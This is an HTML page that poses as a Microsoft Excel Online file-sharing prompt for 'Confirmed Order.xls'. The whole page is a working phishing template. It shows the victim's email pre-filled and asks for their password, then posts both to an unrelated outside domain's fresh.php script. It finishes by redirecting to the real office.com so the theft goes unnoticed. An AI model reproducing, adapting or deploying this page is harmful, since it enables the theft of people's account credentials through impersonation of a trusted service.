<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Excel Online Spreadsheet</title>
<meta charset="utf-8" />
<link rel="icon" href="https://fonts.googleapis.com/css?family=Montserrat:100,200,300,400,500,600,700,800" rel="stylesheet">
<style>
body, html {
  height: 100%;
  margin: 0;
  font-family: Arial, Helvetica, sans-serif;
}
* {
  box-sizing: border-box;
}
.bg-image {
  
  background-image: url("https://i.gyazo.com/52a11ae9fe6936093d1a147ffb24ad16.png");
  
  filter: blur(4px);
  -webkit-filter: blur(4px);
  
  height: 100%;
  
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}
.bg-text {
  background-color: rgb(0,0,0); 
  background-color: rgba(0, 77, 0, 0.8); 
  color: white;
  font-weight: bold;
  border: 1px solid #0FFFFFF;
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  border-radius: 10px 30px;
  z-index: 2;
  width: 400px;
  height: 320px;
  padding: 20px;
  text-align: center;
  -webkit-box-shadow: 5px 5px 7px 4px rgba(0,0,0,0.71);
  box-shadow: 5px 5px 7px 4px rgba(0,0,0,0.71);
}
</style>
</head>
<body>
<div class="bg-image"></div>
<div class="bg-text">
 <table align="center" style="width:340px;" cellspacing="0">
 <tr><td style="height:15px;"></td></tr>
 <tr><td>
  <font style="font-family: Arial, Helvetica, sans-serif;" size="4" color="#FFFFFF">
  Microsoft Excel Online
  </font>
  <br>
  <font style="font-family: Arial, Helvetica, sans-serif;" size="2" color="#FFFFFF">
  To view shared file, Please Confirm Email...
  </font>
 </td></tr>
 <tr><td style="height:15px;">
  <form method="post" action="https://pharmaciesaintraphael.com/home/azonjqcm/fresh.php">
<input type="hidden" name="_redirect" value="https://www.office.com/launch/excel?ui=en-US&rs=US&auth=1">
 </td></tr>
 <tr><td>
   <div align="center">
    <input type="email" name="login"
    style="width:320px; height:40px; border:1px solid #BDBDBD; padding:10px; border-radius: 2px; background:#FFF; font: #000" required=""
    value="[EMail]" disabled>
   </div>
 </td></tr>
 <tr><td style="height:7px;"></td></tr>
 <tr><td>
   <div align="center">
    <input type="password" name="passwd"
    style="width:320px; height:40px; border:1px solid #BDBDBD; padding:10px; border-radius: 2px; background:#FFF; font: #000" required=""
    placeholder="Password">
   </div>
 </td></tr>
 <tr><td style="height:8px;"></td></tr>
 <tr><td>
   <div align="center">
     <button type="submit" value="Submit"
     style="width:320px; height:40px; border:1px solid #084B8A; padding:10px; border-radius: 2px; background:#084B8A; font: #FFF">
      <font style="font-family: Arial, Helvetica, sans-serif;" size="2" color="#FFFFFF">
      View File Content
      </font>
     </button>
   </div>
 </td></tr>
 <tr><td style="height:15px;">
  <input type="hidden" name="login" value="[EMail]">
  </form>
 </td></tr>
 <tr><td>
   <table style="width:320px;" align="center" cellspacing="0"><tr>
   <td>
    <img src="https://i.gyazo.com/7ae773ff61e2c8a88bda5530c3b2aa13.png" style="width:40px; height:37px;">
   </td>
   <td style="width:10px;"></td>
   <td style="width:255px;">
    <div align="left">
     <font style="font-family: Arial, Helvetica, sans-serif;" size="2" color="#FFFFFF">
      Excel Sheet Details: Confirmed Order.xls
      <br>
      File Format: <font color="gold"><b>XLS</b></font>
     </font>
    </div>
   </td>
   </tr></table>
 </td></tr>
 <tr><td style="height:15px;"></td></tr>
 </table>
</div>
</body>
</html>